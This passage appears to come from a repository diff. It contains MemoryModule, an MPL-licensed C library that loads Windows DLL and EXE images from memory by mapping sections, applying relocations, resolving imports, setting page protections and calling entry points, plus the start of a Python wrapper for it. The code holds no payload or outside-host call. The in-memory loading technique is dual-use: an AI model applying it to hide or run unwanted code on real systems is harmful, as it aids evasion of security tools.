unsigned char *codeBase = module->codeBase;
unsigned char *dest;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++) {
if (section->SizeOfRawData == 0) {
// section doesn't contain data in the dll itself, but may define
// uninitialized data
size = old_headers->OptionalHeader.SectionAlignment;
if (size > 0) {
dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
size,
MEM_COMMIT,
PAGE_READWRITE);
if (dest == NULL) {
return FALSE;
}
// Always use position from file to support alignments smaller
// than page size.
dest = codeBase + section->VirtualAddress;
section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest;
memset(dest, 0, size);
}
// section is empty
continue;
}
// commit memory block and copy data from dll
dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
section->SizeOfRawData,
MEM_COMMIT,
PAGE_READWRITE);
if (dest == NULL) {
return FALSE;
}
// Always use position from file to support alignments smaller
// than page size.
dest = codeBase + section->VirtualAddress;
memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest;
}
return TRUE;
}
// Protection flags for memory pages (Executable, Readable, Writeable)
static int ProtectionFlags[2][2][2] = {
{
// not executable
{PAGE_NOACCESS, PAGE_WRITECOPY},
{PAGE_READONLY, PAGE_READWRITE},
}, {
// executable
{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
{PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},
},
};
static DWORD
GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) {
DWORD size = section->SizeOfRawData;
if (size == 0) {
if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {
size = module->headers->OptionalHeader.SizeOfInitializedData;
} else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {
size = module->headers->OptionalHeader.SizeOfUninitializedData;
}
}
return size;
}
static BOOL
FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) {
DWORD protect, oldProtect;
BOOL executable;
BOOL readable;
BOOL writeable;
if (sectionData->size == 0) {
return TRUE;
}
if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
// section is not needed any more and can safely be freed
if (sectionData->address == sectionData->alignedAddress &&
(sectionData->last ||
module->headers->OptionalHeader.SectionAlignment == module->pageSize ||
(sectionData->size % module->pageSize) == 0)
) {
// Only allowed to decommit whole pages
VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT);
}
return TRUE;
}
// determine protection flags based on characteristics
executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;
writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;
protect = ProtectionFlags[executable][readable][writeable];
if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
protect |= PAGE_NOCACHE;
}
// change memory access flags
if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) {
#ifdef DEBUG_OUTPUT
OutputLastError("Error protecting memory page");
#endif
return FALSE;
}
return TRUE;
}
static BOOL
FinalizeSections(PMEMORYMODULE module)
{
int i;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
#ifdef _WIN64
uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000);
#else
#define imageOffset 0
#endif
SECTIONFINALIZEDATA sectionData;
sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize);
sectionData.size = GetRealSectionSize(module, section);
sectionData.characteristics = section->Characteristics;
sectionData.last = FALSE;
section++;
// loop through all sections and change access flags
for (i=1; i<module->headers->FileHeader.NumberOfSections; i++, section++) {
LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize);
DWORD sectionSize = GetRealSectionSize(module, section);
// Combine access flags of all sections that share a page
// TODO(fancycode): We currently share flags of a trailing large section
// with the page of a first small section. This should be optimized.
if (sectionData.alignedAddress == alignedAddress || (uintptr_t) sectionData.address + sectionData.size > (uintptr_t) alignedAddress) {
// Section shares page with previous
if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) {
sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE;
} else {
sectionData.characteristics |= section->Characteristics;
}
sectionData.size = (((uintptr_t)sectionAddress) + sectionSize) - (uintptr_t) sectionData.address;
continue;
}
if (!FinalizeSection(module, &sectionData)) {
return FALSE;
}
sectionData.address = sectionAddress;
sectionData.alignedAddress = alignedAddress;
sectionData.size = sectionSize;
sectionData.characteristics = section->Characteristics;
}
sectionData.last = TRUE;
if (!FinalizeSection(module, &sectionData)) {
return FALSE;
}
#ifndef _WIN64
#undef imageOffset
#endif
return TRUE;
}
static BOOL
ExecuteTLS(PMEMORYMODULE module)
{
unsigned char *codeBase = module->codeBase;
PIMAGE_TLS_DIRECTORY tls;
PIMAGE_TLS_CALLBACK* callback;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS);
if (directory->VirtualAddress == 0) {
return TRUE;
}
tls = (PIMAGE_TLS_DIRECTORY) (codeBase + directory->VirtualAddress);
callback = (PIMAGE_TLS_CALLBACK *) tls->AddressOfCallBacks;
if (callback) {
while (*callback) {
(*callback)((LPVOID) codeBase, DLL_PROCESS_ATTACH, NULL);
callback++;
}
}
return TRUE;
}
static BOOL
PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta)
{
unsigned char *codeBase = module->codeBase;
PIMAGE_BASE_RELOCATION relocation;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
if (directory->Size == 0) {
return (delta == 0);
}
relocation = (PIMAGE_BASE_RELOCATION) (codeBase + directory->VirtualAddress);
for (; relocation->VirtualAddress > 0; ) {
DWORD i;
unsigned char *dest = codeBase + relocation->VirtualAddress;
unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION);
for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) {
DWORD *patchAddrHL;
#ifdef _WIN64
ULONGLONG *patchAddr64;
#endif
int type, offset;
// the upper 4 bits define the type of relocation
type = *relInfo >> 12;
// the lower 12 bits define the offset
offset = *relInfo & 0xfff;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
// skip relocation
break;
case IMAGE_REL_BASED_HIGHLOW:
// change complete 32 bit address
patchAddrHL = (DWORD *) (dest + offset);
*patchAddrHL += (DWORD) delta;
break;
#ifdef _WIN64
case IMAGE_REL_BASED_DIR64:
patchAddr64 = (ULONGLONG *) (dest + offset);
*patchAddr64 += (ULONGLONG) delta;
break;
#endif
default:
//printf("Unknown relocation: %d\n", type);
break;
}
}
// advance to next relocation block
relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock);
}
return TRUE;
}
static BOOL
BuildImportTable(PMEMORYMODULE module)
{
unsigned char *codeBase = module->codeBase;
PIMAGE_IMPORT_DESCRIPTOR importDesc;
BOOL result = TRUE;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
if (directory->Size == 0) {
return TRUE;
}
importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress);
for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) {
uintptr_t *thunkRef;
FARPROC *funcRef;
HCUSTOMMODULE *tmp;
HCUSTOMMODULE handle = module->loadLibrary((LPCSTR) (codeBase + importDesc->Name), module->userdata);
if (handle == NULL) {
SetLastError(ERROR_MOD_NOT_FOUND);
result = FALSE;
break;
}
tmp = (HCUSTOMMODULE *) realloc(module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE)));
if (tmp == NULL) {
module->freeLibrary(handle, module->userdata);
SetLastError(ERROR_OUTOFMEMORY);
result = FALSE;
break;
}
module->modules = tmp;
module->modules[module->numModules++] = handle;
if (importDesc->OriginalFirstThunk) {
thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk);
funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
} else {
// no hint table
thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk);
funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
}
for (; *thunkRef; thunkRef++, funcRef++) {
if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
*funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata);
} else {
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef));
*funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata);
}
if (*funcRef == 0) {
result = FALSE;
break;
}
}
if (!result) {
module->freeLibrary(handle, module->userdata);
SetLastError(ERROR_PROC_NOT_FOUND);
break;
}
}
return result;
}
static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata)
{
HMODULE result = LoadLibraryA(filename);
if (result == NULL) {
return NULL;
}
return (HCUSTOMMODULE) result;
}
static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata)
{
return (FARPROC) GetProcAddress((HMODULE) module, name);
}
static void _FreeLibrary(HCUSTOMMODULE module, void *userdata)
{
FreeLibrary((HMODULE) module);
}
HMEMORYMODULE MemoryLoadLibrary(const void *data)
{
return MemoryLoadLibraryEx(data, _LoadLibrary, _GetProcAddress, _FreeLibrary, NULL);
}
HMEMORYMODULE MemoryLoadLibraryEx(const void *data,
CustomLoadLibraryFunc loadLibrary,
CustomGetProcAddressFunc getProcAddress,
CustomFreeLibraryFunc freeLibrary,
void *userdata)
{
PMEMORYMODULE result;
PIMAGE_DOS_HEADER dos_header;
PIMAGE_NT_HEADERS old_header;
unsigned char *code, *headers;
SIZE_T locationDelta;
SYSTEM_INFO sysInfo;
HMODULE hModule;
dos_header = (PIMAGE_DOS_HEADER)data;
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew];
if (old_header->Signature != IMAGE_NT_SIGNATURE) {
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
#ifdef _WIN64
if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
#else
if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) {
#endif
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
if (old_header->OptionalHeader.SectionAlignment & 1) {
// Only support section alignments that are a multiple of 2
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
// reserve memory for image of library
// XXX: is it correct to commit the complete memory region at once?
// calling DllEntry raises an exception if we don't...
code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
old_header->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (code == NULL) {
// try to allocate memory at arbitrary position
code = (unsigned char *)VirtualAlloc(NULL,
old_header->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (code == NULL) {
SetLastError(ERROR_OUTOFMEMORY);
return NULL;
}
}
result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE));
if (result == NULL) {
VirtualFree(code, 0, MEM_RELEASE);
SetLastError(ERROR_OUTOFMEMORY);
return NULL;
}
result->codeBase = code;
result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;
result->loadLibrary = loadLibrary;
result->getProcAddress = getProcAddress;
result->freeLibrary = freeLibrary;
result->userdata = userdata;
hModule = LoadLibrary ("kernel32.dll");
if (hModule) {
int (WINAPI *GetNativeSystemInfo) (SYSTEM_INFO *systemInfo);
GetNativeSystemInfo = (void *) GetProcAddress (hModule, "GetNativeSystemInfo");
GetNativeSystemInfo(&sysInfo);
}
result->pageSize = sysInfo.dwPageSize;
// commit memory for headers
headers = (unsigned char *)VirtualAlloc(code,
old_header->OptionalHeader.SizeOfHeaders,
MEM_COMMIT,
PAGE_READWRITE);
// copy PE header to code
memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders);
result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew];
// update position
result->headers->OptionalHeader.ImageBase = (uintptr_t)code;
// copy sections from DLL file block to new memory location
if (!CopySections((const unsigned char *) data, old_header, result)) {
goto error;
}
// adjust base address of imported data
locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase);
if (locationDelta != 0) {
result->isRelocated = PerformBaseRelocation(result, locationDelta);
} else {
result->isRelocated = TRUE;
}
// load required dlls and adjust function table of imports
if (!BuildImportTable(result)) {
goto error;
}
// mark memory pages depending on section headers and release
// sections that are marked as "discardable"
if (!FinalizeSections(result)) {
goto error;
}
// TLS callbacks are executed BEFORE the main loading
if (!ExecuteTLS(result)) {
goto error;
}
// get entry point of loaded library
if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) {
if (result->isDLL) {
DllEntryProc DllEntry = (DllEntryProc) (code + result->headers->OptionalHeader.AddressOfEntryPoint);
// notify library about attaching to process
BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
if (!successfull) {
SetLastError(ERROR_DLL_INIT_FAILED);
goto error;
}
result->initialized = TRUE;
} else {
result->exeEntry = (ExeEntryProc) (code + result->headers->OptionalHeader.AddressOfEntryPoint);
}
} else {
result->exeEntry = NULL;
}
return (HMEMORYMODULE)result;
error:
// cleanup
MemoryFreeLibrary(result);
return NULL;
}
FARPROC MemoryGetProcAddress(HMEMORYMODULE module, LPCSTR name)
{
unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
DWORD idx;
PIMAGE_EXPORT_DIRECTORY exports;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
if (directory->Size == 0) {
// no export table found
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress);
if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) {
// DLL doesn't export anything
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
if (HIWORD(name) == 0) {
// load function by ordinal value
if (LOWORD(name) < exports->Base) {
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
idx = LOWORD(name) - exports->Base;
} else {
// search function name in list of exported names
DWORD i;
DWORD *nameRef = (DWORD *) (codeBase + exports->AddressOfNames);
WORD *ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals);
BOOL found = FALSE;
for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++) {
if (_stricmp(name, (const char *) (codeBase + (*nameRef))) == 0) {
idx = *ordinal;
found = TRUE;
break;
}
}
if (!found) {
// exported symbol not found
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
}
if (idx > exports->NumberOfFunctions) {
// name <-> ordinal number don't match
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
// AddressOfFunctions contains the RVAs to the "real" functions
return (FARPROC) (codeBase + (*(DWORD *) (codeBase + exports->AddressOfFunctions + (idx*4))));
}
void MemoryFreeLibrary(HMEMORYMODULE mod)
{
PMEMORYMODULE module = (PMEMORYMODULE)mod;
if (module == NULL) {
return;
}
if (module->initialized) {
// notify library about detaching from process
DllEntryProc DllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
}
if (module->modules != NULL) {
// free previously opened libraries
int i;
for (i=0; i<module->numModules; i++) {
if (module->modules[i] != NULL) {
module->freeLibrary(module->modules[i], module->userdata);
}
}
free(module->modules);
}
if (module->codeBase != NULL) {
// release memory of library
VirtualFree(module->codeBase, 0, MEM_RELEASE);
}
HeapFree(GetProcessHeap(), 0, module);
}
int MemoryCallEntryPoint(HMEMORYMODULE mod)
{
PMEMORYMODULE module = (PMEMORYMODULE)mod;
if (module == NULL || module->isDLL || module->exeEntry == NULL || !module->isRelocated) {
return -1;
}
return module->exeEntry();
}
#define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type)
{
return MemoryFindResourceEx(module, name, type, DEFAULT_LANGUAGE);
}
static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry(
void *root,
PIMAGE_RESOURCE_DIRECTORY resources,
LPCTSTR key)
{
PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (resources + 1);
PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL;
DWORD start;
DWORD end;
DWORD middle;
if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) {
// special case: resource id given as string
TCHAR *endpos = NULL;
long int tmpkey = (WORD) _tcstol((TCHAR *) &key[1], &endpos, 10);
if (tmpkey <= 0xffff && lstrlen(endpos) == 0) {
key = MAKEINTRESOURCE(tmpkey);
}
}
// entries are stored as ordered list of named entries,
// followed by an ordered list of id entries - we can do
// a binary search to find faster...
if (IS_INTRESOURCE(key)) {
WORD check = (WORD) (uintptr_t) key;
start = resources->NumberOfNamedEntries;
end = start + resources->NumberOfIdEntries;
while (end > start) {
WORD entryName;
middle = (start + end) >> 1;
entryName = (WORD) entries[middle].Name;
if (check < entryName) {
end = (end != middle ? middle : middle-1);
} else if (check > entryName) {
start = (start != middle ? middle : middle+1);
} else {
result = &entries[middle];
break;
}
}
} else {
LPCWSTR searchKey;
size_t searchKeyLen = _tcslen(key);
#if defined(UNICODE)
searchKey = key;
#else
// Resource names are always stored using 16bit characters, need to
// convert string we search for.
#define MAX_LOCAL_KEY_LENGTH 2048
// In most cases resource names are short, so optimize for that by
// using a pre-allocated array.
wchar_t _searchKeySpace[MAX_LOCAL_KEY_LENGTH+1];
LPWSTR _searchKey;
if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) {
size_t _searchKeySize = (searchKeyLen + 1) * sizeof(wchar_t);
_searchKey = (LPWSTR) malloc(_searchKeySize);
if (_searchKey == NULL) {
SetLastError(ERROR_OUTOFMEMORY);
return NULL;
}
} else {
_searchKey = &_searchKeySpace[0];
}
mbstowcs(_searchKey, key, searchKeyLen);
_searchKey[searchKeyLen] = 0;
searchKey = _searchKey;
#endif
start = 0;
end = resources->NumberOfNamedEntries;
while (end > start) {
int cmp;
PIMAGE_RESOURCE_DIR_STRING_U resourceString;
middle = (start + end) >> 1;
resourceString = (PIMAGE_RESOURCE_DIR_STRING_U) (((char *) root) + (entries[middle].Name & 0x7FFFFFFF));
cmp = wcsnicmp(searchKey, resourceString->NameString, resourceString->Length);
if (cmp == 0) {
// Handle partial match
cmp = searchKeyLen - resourceString->Length;
}
if (cmp < 0) {
end = (middle != end ? middle : middle-1);
} else if (cmp > 0) {
start = (middle != start ? middle : middle+1);
} else {
result = &entries[middle];
break;
}
}
#if !defined(UNICODE)
if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) {
free(_searchKey);
}
#undef MAX_LOCAL_KEY_LENGTH
#endif
}
return result;
}
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type, WORD language)
{
unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE) module, IMAGE_DIRECTORY_ENTRY_RESOURCE);
PIMAGE_RESOURCE_DIRECTORY rootResources;
PIMAGE_RESOURCE_DIRECTORY nameResources;
PIMAGE_RESOURCE_DIRECTORY typeResources;
PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType;
PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName;
PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage;
if (directory->Size == 0) {
// no resource table found
SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND);
return NULL;
}
if (language == DEFAULT_LANGUAGE) {
// use language from current thread
language = LANGIDFROMLCID(GetThreadLocale());
}
// resources are stored as three-level tree
// - first node is the type
// - second node is the name
// - third node is the language
rootResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress);
foundType = _MemorySearchResourceEntry(rootResources, rootResources, type);
if (foundType == NULL) {
SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND);
return NULL;
}
typeResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress + (foundType->OffsetToData & 0x7fffffff));
foundName = _MemorySearchResourceEntry(rootResources, typeResources, name);
if (foundName == NULL) {
SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND);
return NULL;
}
nameResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress + (foundName->OffsetToData & 0x7fffffff));
foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, (LPCTSTR) (uintptr_t) language);
if (foundLanguage == NULL) {
// requested language not found, use first available
if (nameResources->NumberOfIdEntries == 0) {
SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND);
return NULL;
}
foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (nameResources + 1);
}
return (codeBase + directory->VirtualAddress + (foundLanguage->OffsetToData & 0x7fffffff));
}
DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource)
{
PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource;
if (entry == NULL) {
return 0;
}
return entry->Size;
}
LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource)
{
unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase;
PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource;
if (entry == NULL) {
return NULL;
}
return codeBase + entry->OffsetToData;
}
int
MemoryLoadString(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize)
{
return MemoryLoadStringEx(module, id, buffer, maxsize, DEFAULT_LANGUAGE);
}
int
MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize, WORD language)
{
HMEMORYRSRC resource;
PIMAGE_RESOURCE_DIR_STRING_U data;
DWORD size;
if (maxsize == 0) {
return 0;
}
resource = MemoryFindResourceEx(module, MAKEINTRESOURCE((id >> 4) + 1), RT_STRING, language);
if (resource == NULL) {
buffer[0] = 0;
return 0;
}
data = (PIMAGE_RESOURCE_DIR_STRING_U) MemoryLoadResource(module, resource);
id = id & 0x0f;
while (id--) {
data = (PIMAGE_RESOURCE_DIR_STRING_U) (((char *) data) + (data->Length + 1) * sizeof(WCHAR));
}
if (data->Length == 0) {
SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND);
buffer[0] = 0;
return 0;
}
size = data->Length;
if (size >= (DWORD) maxsize) {
size = maxsize;
} else {
buffer[size] = 0;
}
#if defined(UNICODE)
wcsncpy(buffer, data->NameString, size);
#else
wcstombs(buffer, data->NameString, size);
#endif
return size;
}

View File

@ -0,0 +1,123 @@
/*
* Memory DLL loading code
* Version 0.0.4
*
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.h
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
* Joachim Bauch. All Rights Reserved.
*
*/
#ifndef __MEMORY_MODULE_HEADER
#define __MEMORY_MODULE_HEADER
#include <windows.h>
typedef void *HMEMORYMODULE;
typedef void *HMEMORYRSRC;
typedef void *HCUSTOMMODULE;
#ifdef __cplusplus
extern "C" {
#endif
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
/**
* Load EXE/DLL from memory location.
*
* All dependencies are resolved using default LoadLibrary/GetProcAddress
* calls through the Windows API.
*/
HMEMORYMODULE MemoryLoadLibrary(const void *);
/**
* Load EXE/DLL from memory location using custom dependency resolvers.
*
* Dependencies will be resolved using passed callback methods.
*/
HMEMORYMODULE MemoryLoadLibraryEx(const void *,
CustomLoadLibraryFunc,
CustomGetProcAddressFunc,
CustomFreeLibraryFunc,
void *);
/**
* Get address of exported method. Supports loading both by name and by
* ordinal value.
*/
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
/**
* Free previously loaded EXE/DLL.
*/
void MemoryFreeLibrary(HMEMORYMODULE);
/**
* Execute entry point (EXE only). The entry point can only be executed
* if the EXE has been loaded to the correct base address or it could
* be relocated (i.e. relocation information have not been stripped by
* the linker).
*
* Important: calling this function will not return, i.e. once the loaded
* EXE finished running, the process will terminate.
*
* Returns a negative value if the entry point could not be executed.
*/
int MemoryCallEntryPoint(HMEMORYMODULE);
/**
* Find the location of a resource with the specified type and name.
*/
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
/**
* Find the location of a resource with the specified type, name and language.
*/
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
/**
* Get the size of the resource in bytes.
*/
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Get a pointer to the contents of the resource.
*/
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Load a string resource.
*/
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
/**
* Load a string resource with a given language.
*/
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
#ifdef __cplusplus
}
#endif
#endif // __MEMORY_MODULE_HEADER

View File

@ -0,0 +1,232 @@
#ifdef STANDALONE
# include <Python.h>
# include "Python-version.h"
#else
# include "Python-dynload.h"
# include <stdio.h>
#endif
#include <windows.h>
#include "MemoryModule.h"
#include "MyLoadLibrary.h"
//#define VERBOSE /* enable to print debug output */
/*
Windows API:
============
HMODULE LoadLibraryA(LPCSTR)
HMODULE GetModuleHandleA(LPCSTR)
BOOL FreeLibrary(HMODULE)
FARPROC GetProcAddress(HMODULE, LPCSTR)
MemoryModule API:
=================
HMEMORYMODULE MemoryLoadLibrary(void *)
void MemoryFreeLibrary(HMEMORYMODULE)
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR)
HMEMORYMODULE MemoryLoadLibrayEx(void *,
load_func, getproc_func, free_func, userdata)
(there are also some resource functions which are not used here...)
General API in this file:
=========================
HMODULE MyLoadLibrary(LPCSTR, void *, userdata)
HMODULE MyGetModuleHandle(LPCSTR)
BOOL MyFreeLibrary(HMODULE)
FARPROC MyGetProcAddress(HMODULE, LPCSTR)
*/
/****************************************************************
* A linked list of loaded MemoryModules.
*/
typedef struct tagLIST {
HCUSTOMMODULE module;
LPCSTR name;
struct tagLIST *next;
struct tagLIST *prev;
int refcount;
} LIST;
static LIST *libraries;
int level;
static int dprintf(char *fmt, ...)
{
#ifdef VERBOSE
va_list marker;
int i;
va_start(marker, fmt);
for (i = 0; i < level; ++i) {
putchar(' ');
putchar(' ');
}
return vfprintf(stderr, fmt, marker) + 2*level;
#else
return 0;
#endif
}
#define PUSH() level++
#define POP() level--
/****************************************************************
* Search for a loaded MemoryModule in the linked list, either by name
* or by module handle.
*/
static LIST *_FindMemoryModule(LPCSTR name, HMODULE module)
{
LIST *lib = libraries;
while (lib) {
if (name && 0 == _stricmp(name, lib->name)) {
dprintf("_FindMemoryModule(%s, %p) -> %s[%d]\n", name, module, lib->name, lib->refcount);
return lib;
} else if (module == lib->module) {
dprintf("_FindMemoryModule(%s, %p) -> %s[%d]\n", name, module, lib->name, lib->refcount);
return lib;
} else {
lib = lib->next;
}
}
return NULL;
}
/****************************************************************
* Insert a MemoryModule into the linked list of loaded modules
*/
static LIST *_AddMemoryModule(LPCSTR name, HCUSTOMMODULE module)
{
LIST *entry = (LIST *)malloc(sizeof(LIST));
entry->name = _strdup(name);
entry->module = module;
entry->next = libraries;
entry->prev = NULL;
entry->refcount = 1;
libraries = entry;
dprintf("_AddMemoryModule(%s, %p) -> %p[%d]\n",
name, module, entry, entry->refcount);
return entry;
}
/****************************************************************
* Helper functions for MemoryLoadLibraryEx
*/
static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata)
{
